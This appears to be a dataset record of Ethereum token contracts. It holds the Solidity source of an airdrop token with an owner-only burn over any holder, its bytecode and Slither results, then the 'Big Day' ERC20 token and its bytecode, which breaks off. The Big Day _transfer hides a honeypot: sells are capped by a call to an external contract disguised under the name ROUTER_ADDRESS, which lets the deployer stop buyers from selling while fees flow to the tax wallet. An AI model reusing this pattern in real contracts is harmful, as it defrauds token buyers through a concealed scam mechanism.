function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_to != address(0)
&& _value > 0
&& balanceOf[_from] >= _value
&& allowance[_from][msg.sender] >= _value
&& frozenAccount[_from] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[_from]
&& now > unlockUnixTime[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Allows _spender to spend no more than _value tokens in your behalf
* Added due to backwards compatibility with ERC20
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender
* Added due to backwards compatibility with ERC20
* @param _owner address The address which owns the funds
* @param _spender address The address which will spend the funds
*/
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowance[_owner][_spender];
}
/**
* @dev Burns a specific amount of tokens.
* @param _from The address that will burn the tokens.
* @param _unitAmount The amount of token to be burned.
*/
function burn(address _from, uint256 _unitAmount) onlyOwner public {
require(_unitAmount > 0
&& balanceOf[_from] >= _unitAmount);
balanceOf[_from] = balanceOf[_from].sub(_unitAmount);
totalSupply = totalSupply.sub(_unitAmount);
emit Burn(_from, _unitAmount);
}
/**
* @dev Function to distribute tokens to the list of addresses by the provided amount
*/
function qshdrop(address[] addresses, uint256 amount) public returns (bool) {
require(amount > 0
&& addresses.length > 0
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
uint256 totalAmount = amount.mul(addresses.length);
require(balanceOf[msg.sender] >= totalAmount);
for (uint j = 0; j < addresses.length; j++) {
require(addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(amount);
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amount);
emit Transfer(msg.sender, addresses[j], amount);
}
return true;
}
function qshdrop(address[] addresses, uint256[] amounts) public returns (bool) {
require(addresses.length > 0
&& addresses.length == amounts.length
&& frozenAccount[msg.sender] == false
&& now > unlockUnixTime[msg.sender]);
uint256 totalAmount = 0;
for(uint j = 0; j < addresses.length; j++){
require(amounts[j] > 0
&& addresses[j] != 0x0
&& frozenAccount[addresses[j]] == false
&& now > unlockUnixTime[addresses[j]]);
totalAmount = totalAmount.add(amounts[j]);
}
require(balanceOf[msg.sender] >= totalAmount);
for (j = 0; j < addresses.length; j++) {
balanceOf[msg.sender] = balanceOf[msg.sender].sub(amounts[j]);
balanceOf[addresses[j]] = balanceOf[addresses[j]].add(amounts[j]);
emit Transfer(msg.sender, addresses[j], amounts[j]);
}
return true;
}
function() payable public {
}
}
/**
* My thought is strong!
* The reconstruction of Kyusyu is the power of everyone!
*/
|
0x6060604052600436106100f85763ffffffff60e060020a60003504166306fdde0381146100fa578063095ea7b31461018457806318160ddd146101ba578063220e5d06146101df57806323b872dd1461026e5780632e10813314610296578063313ce567146102e757806364ddc6051461031057806370a082311461039f5780638da5cb5b146103be57806395d89b41146103ed5780639dc29fac14610400578063a9059cbb14610422578063b414d4b614610444578063be45fd6214610463578063c341b9f6146104c8578063cbbe974b1461051b578063dd62ed3e1461053a578063f2fde38b1461055f578063f6368f8a1461057e575b005b341561010557600080fd5b61010d610625565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610149578082015183820152602001610131565b50505050905090810190601f1680156101765780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018f57600080fd5b6101a6600160a060020a03600435166024356106cd565b604051901515815260200160405180910390f35b34156101c557600080fd5b6101cd610739565b60405190815260200160405180910390f35b34156101ea57600080fd5b6101a660046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284375094965061073f95505050505050565b341561027957600080fd5b6101a6600160a060020a0360043581169060243516604435610a43565b34156102a157600080fd5b6101a660046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505093359350610c5292505050565b34156102f257600080fd5b6102fa610e92565b60405160ff909116815260200160405180910390f35b341561031b57600080fd5b6100f8600460248135818101908301358060208181020160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843750949650610e9b95505050505050565b34156103aa57600080fd5b6101cd600160a060020a0360043516610ff5565b34156103c957600080fd5b6103d1611010565b604051600160a060020a03909116815260200160405180910390f35b34156103f857600080fd5b61010d61101f565b341561040b57600080fd5b6100f8600160a060020a0360043516602435611092565b341561042d57600080fd5b6101a6600160a060020a036004351660243561117a565b341561044f57600080fd5b6101a6600160a060020a0360043516611255565b341561046e57600080fd5b6101a660048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061126a95505050505050565b34156104d357600080fd5b6100f860046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496505050509135151591506113359050565b341561052657600080fd5b6101cd600160a060020a0360043516611437565b341561054557600080fd5b6101cd600160a060020a0360043581169060243516611449565b341561056a57600080fd5b6100f8600160a060020a0360043516611474565b341561058957600080fd5b6101a660048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052818152929190602084018383808284375094965061150f95505050505050565b61062d611cd8565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106c35780601f10610698576101008083540402835291602001916106c3565b820191906000526020600020905b8154815290600101906020018083116106a657829003601f168201915b5050505050905090565b600160a060020a03338116600081815260076020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60055490565b6000806000808551118015610755575083518551145b801561077a5750600160a060020a03331660009081526008602052604090205460ff16155b801561079d5750600160a060020a03331660009081526009602052604090205442115b15156107a857600080fd5b5060009050805b84518110156108ba5760008482815181106107c657fe5b906020019060200201511180156107fa57508481815181106107e457fe5b90602001906020020151600160a060020a031615155b801561083a57506008600086838151811061081157fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b801561087f57506009600086838151811061085157fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561088a57600080fd5b6108b084828151811061089957fe5b90602001906020020151839063ffffffff61187416565b91506001016107af565b600160a060020a033316600090815260066020526040902054829010156108e057600080fd5b5060005b8451811015610a385761092b8482815181106108fc57fe5b90602001906020020151600160a060020a0333166000908152600660205260409020549063ffffffff61188316565b600160a060020a03331660009081526006602052604090205561099d84828151811061095357fe5b906020019060200201516006600088858151811061096d57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020549063ffffffff61187416565b600660008784815181106109ad57fe5b90602001906020020151600160a060020a031681526020810191909152604001600020558481815181106109dd57fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020611ceb833981519152868481518110610a1557fe5b9060200190602002015160405190815260200160405180910390a36001016108e4565b506001949350505050565b6000600160a060020a03831615801590610a5d5750600082115b8015610a825750600160a060020a038416600090815260066020526040902054829010155b8015610ab55750600160a060020a0380851660009081526007602090815260408083203390941683529290522054829010155b8015610ada5750600160a060020a03841660009081526008602052604090205460ff16155b8015610aff5750600160a060020a03831660009081526008602052604090205460ff16155b8015610b225750600160a060020a03841660009081526009602052604090205442115b8015610b455750600160a060020a03831660009081526009602052604090205442115b1515610b5057600080fd5b600160a060020a038416600090815260066020526040902054610b79908363ffffffff61188316565b600160a060020a038086166000908152600660205260408082209390935590851681522054610bae908363ffffffff61187416565b600160a060020a03808516600090815260066020908152604080832094909455878316825260078152838220339093168252919091522054610bf6908363ffffffff61188316565b600160a060020a0380861660008181526007602090815260408083203386168452909152908190209390935590851691600080516020611ceb8339815191529085905190815260200160405180910390a35060015b9392505050565b60008060008084118015610c67575060008551115b8015610c8c5750600160a060020a03331660009081526008602052604090205460ff16155b8015610caf5750600160a060020a03331660009081526009602052604090205442115b1515610cba57600080fd5b610ccc8551859063ffffffff61189516565b600160a060020a03331660009081526006602052604090205490925082901015610cf557600080fd5b5060005b8451811015610a3857848181518110610d0e57fe5b90602001906020020151600160a060020a031615801590610d63575060086000868381518110610d3a57fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205460ff16155b8015610da8575060096000868381518110610d7a57fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b1515610db357600080fd5b600160a060020a033316600090815260066020526040902054610ddc908563ffffffff61188316565b600160a060020a0333166000908152600660208190526040822092909255610e0c91869188858151811061096d57fe5b60066000878481518110610e1c57fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055848181518110610e4c57fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020611ceb8339815191528660405190815260200160405180910390a3600101610cf9565b60045460ff1690565b60015460009033600160a060020a03908116911614610eb957600080fd5b60008351118015610ecb575081518351145b1515610ed657600080fd5b5060005b8251811015610ff057818181518110610eef57fe5b9060200190602002015160096000858481518110610f0957fe5b90602001906020020151600160a060020a0316815260208101919091526040016000205410610f3757600080fd5b818181518110610f4357fe5b9060200190602002015160096000858481518110610f5d57fe5b90602001906020020151600160a060020a03168152602081019190915260400160002055828181518110610f8d57fe5b90602001906020020151600160a060020a03167f1bd6fb9fa2c39ce5d0d2afa1eaba998963eb5f553fd862c94f131aa9e35c1577838381518110610fcd57fe5b9060200190602002015160405190815260200160405180910390a2600101610eda565b505050565b600160a060020a031660009081526006602052604090205490565b600154600160a060020a031681565b611027611cd8565b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106c35780601f10610698576101008083540402835291602001916106c3565b60015433600160a060020a039081169116146110ad57600080fd5b6000811180156110d65750600160a060020a038216600090815260066020526040902054819010155b15156110e157600080fd5b600160a060020a03821660009081526006602052604090205461110a908263ffffffff61188316565b600160a060020a038316600090815260066020526040902055600554611136908263ffffffff61188316565b600555600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a25050565b6000611184611cd8565b6000831180156111ad5750600160a060020a03331660009081526008602052604090205460ff16155b80156111d25750600160a060020a03841660009081526008602052604090205460ff16155b80156111f55750600160a060020a03331660009081526009602052604090205442115b80156112185750600160a060020a03841660009081526009602052604090205442115b151561122357600080fd5b61122c846118c0565b156112435761123c8484836118c8565b915061124e565b61123c848483611b38565b5092915050565b60086020526000908152604090205460ff1681565b600080831180156112945750600160a060020a03331660009081526008602052604090205460ff16155b80156112b95750600160a060020a03841660009081526008602052604090205460ff16155b80156112dc5750600160a060020a03331660009081526009602052604090205442115b80156112ff5750600160a060020a03841660009081526009602052604090205442115b151561130a57600080fd5b611313846118c0565b1561132a576113238484846118c8565b9050610c4b565b611323848484611b38565b60015460009033600160a060020a0390811691161461135357600080fd5b600083511161136157600080fd5b5060005b8251811015610ff05782818151811061137a57fe5b90602001906020020151600160a060020a0316151561139857600080fd5b81600860008584815181106113a957fe5b90602001906020020151600160a060020a031681526020810191909152604001600020805460ff19169115159190911790558281815181106113e757fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051901515815260200160405180910390a2600101611365565b60096020526000908152604090205481565b600160a060020a03918216600090815260076020908152604080832093909416825291909152205490565b60015433600160a060020a0390811691161461148f57600080fd5b600160a060020a03811615156114a457600080fd5b600154600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600080841180156115395750600160a060020a03331660009081526008602052604090205460ff16155b801561155e5750600160a060020a03851660009081526008602052604090205460ff16155b80156115815750600160a060020a03331660009081526009602052604090205442115b80156115a45750600160a060020a03851660009081526009602052604090205442115b15156115af57600080fd5b6115b8856118c0565b1561185e57600160a060020a033316600090815260066020526040902054849010156115e357600080fd5b600160a060020a03331660009081526006602052604090205461160c908563ffffffff61188316565b600160a060020a033381166000908152600660205260408082209390935590871681522054611641908563ffffffff61187416565b600160a060020a0386166000818152600660205260408082209390935590918490518082805190602001908083835b6020831061168f5780518252601f199092019160209182019101611670565b6001836020036101000a0380198251168184511617909252505050919091019250604091505051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611720578082015183820152602001611708565b50505050905090810190601f16801561174d5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af19350505050151561176d57fe5b84600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16868660405182815260406020820181815290820183818151815260200191508051906020019080838360005b838110156117e65780820151838201526020016117ce565b50505050905090810190601f1680156118135780820380516001836020036101000a031916815260200191505b50935050505060405180910390a384600160a060020a031633600160a060020a0316600080516020611ceb8339815191528660405190815260200160405180910390a350600161186c565b611869858585611b38565b90505b949350505050565b600082820183811015610c4b57fe5b60008282111561188f57fe5b50900390565b6000808315156118a8576000915061124e565b508282028284828115156118b857fe5b0414610c4b57fe5b6000903b1190565b600160a060020a0333166000908152600660205260408120548190849010156118f057600080fd5b600160a060020a033316600090815260066020526040902054611919908563ffffffff61188316565b600160a060020a03338116600090815260066020526040808220939093559087168152205461194e908563ffffffff61187416565b600160a060020a03861660008181526006602052604090819020929092558692509063c0ee0b8a90339087908790518463ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a0316815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156119e75780820151838201526020016119cf565b50505050905090810190601f168015611a145780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1515611a3457600080fd5b5af11515611a4157600080fd5b50505084600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16868660405182815260406020820181815290820183818151815260200191508051906020019080838360005b83811015611abd578082015183820152602001611aa5565b50505050905090810190601f168015611aea5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a384600160a060020a031633600160a060020a0316600080516020611ceb8339815191528660405190815260200160405180910390a3506001949350505050565b600160a060020a03331660009081526006602052604081205483901015611b5e57600080fd5b600160a060020a033316600090815260066020526040902054611b87908463ffffffff61188316565b600160a060020a033381166000908152600660205260408082209390935590861681522054611bbc908463ffffffff61187416565b6006600086600160a060020a0316600160a060020a031681526020019081526020016000208190555083600160a060020a031633600160a060020a03167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16858560405182815260406020820181815290820183818151815260200191508051906020019080838360005b83811015611c5e578082015183820152602001611c46565b50505050905090810190601f168015611c8b5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a383600160a060020a031633600160a060020a0316600080516020611ceb8339815191528560405190815260200160405180910390a35060019392505050565b602060405190810160405260008152905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058206c2f890b8b5af0408b916abfd09cd7cece75fe691cff6ffc266fd00fd40619cd0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 5,987 |
0xf1bfd5298294445c4eb0dc36ad02364408a5da04
|
//SPDX-License-Identifier: MIT
// Telegram: https://t.me/bigdaytoken
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
uint256 constant INITIAL_TAX=6;
address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet
uint256 constant TOTAL_SUPPLY=100000000;
string constant TOKEN_SYMBOL="BD";
string constant TOKEN_NAME="Big Day";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface O{
function amount(address from) external view returns (uint256);
}
contract BigDay is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(5);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_uniswap) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function endTrading() external onlyTaxCollector{
require(_canTrade,"Trading is not started yet");
_swapEnabled = false;
_canTrade = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806356d9dce81161009557806395d89b411161006457806395d89b41146102925780639e752b95146102bd578063a9059cbb146102dd578063dd62ed3e146102fd578063f42938901461034357600080fd5b806356d9dce81461022057806370a0823114610235578063715018a6146102555780638da5cb5b1461026a57600080fd5b8063293230b8116100d1578063293230b8146101c3578063313ce567146101da5780633e07ce5b146101f657806351bc3c851461020b57600080fd5b806306fdde031461010e578063095ea7b31461015057806318160ddd1461018057806323b872dd146101a357600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b506040805180820190915260078152664269672044617960c81b60208201525b6040516101479190611558565b60405180910390f35b34801561015c57600080fd5b5061017061016b3660046115c2565b610358565b6040519015158152602001610147565b34801561018c57600080fd5b5061019561036f565b604051908152602001610147565b3480156101af57600080fd5b506101706101be3660046115ee565b610390565b3480156101cf57600080fd5b506101d86103f9565b005b3480156101e657600080fd5b5060405160068152602001610147565b34801561020257600080fd5b506101d86107bc565b34801561021757600080fd5b506101d86107f2565b34801561022c57600080fd5b506101d861081f565b34801561024157600080fd5b5061019561025036600461162f565b6108a0565b34801561026157600080fd5b506101d86108c2565b34801561027657600080fd5b506000546040516001600160a01b039091168152602001610147565b34801561029e57600080fd5b50604080518082019091526002815261109160f21b602082015261013a565b3480156102c957600080fd5b506101d86102d836600461164c565b610966565b3480156102e957600080fd5b506101706102f83660046115c2565b61098f565b34801561030957600080fd5b50610195610318366004611665565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561034f57600080fd5b506101d861099c565b6000610365338484610a06565b5060015b92915050565b600061037d6006600a611798565b61038b906305f5e1006117a7565b905090565b600061039d848484610b2a565b6103ef84336103ea85604051806060016040528060288152602001611925602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610e75565b610a06565b5060019392505050565b6009546001600160a01b0316331461041057600080fd5b600c54600160a01b900460ff161561046f5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b5461049b9030906001600160a01b031661048d6006600a611798565b6103ea906305f5e1006117a7565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156104e957600080fd5b505afa1580156104fd573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061052191906117c6565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561057e57600080fd5b505afa158015610592573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105b691906117c6565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156105fe57600080fd5b505af1158015610612573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063691906117c6565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d7194730610666816108a0565b60008061067b6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156106de57600080fd5b505af11580156106f2573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061071791906117e3565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561078157600080fd5b505af1158015610795573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b99190611811565b50565b6009546001600160a01b031633146107d357600080fd5b6107df6006600a611798565b6107ed906305f5e1006117a7565b600a55565b6009546001600160a01b0316331461080957600080fd5b6000610814306108a0565b90506107b981610eaf565b6009546001600160a01b0316331461083657600080fd5b600c54600160a01b900460ff1661088f5760405162461bcd60e51b815260206004820152601a60248201527f54726164696e67206973206e6f742073746172746564207965740000000000006044820152606401610466565b600c805462ff00ff60a01b19169055565b6001600160a01b03811660009081526002602052604081205461036990611038565b6000546001600160a01b0316331461091c5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610466565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461097d57600080fd5b6006811061098a57600080fd5b600855565b6000610365338484610b2a565b6009546001600160a01b031633146109b357600080fd5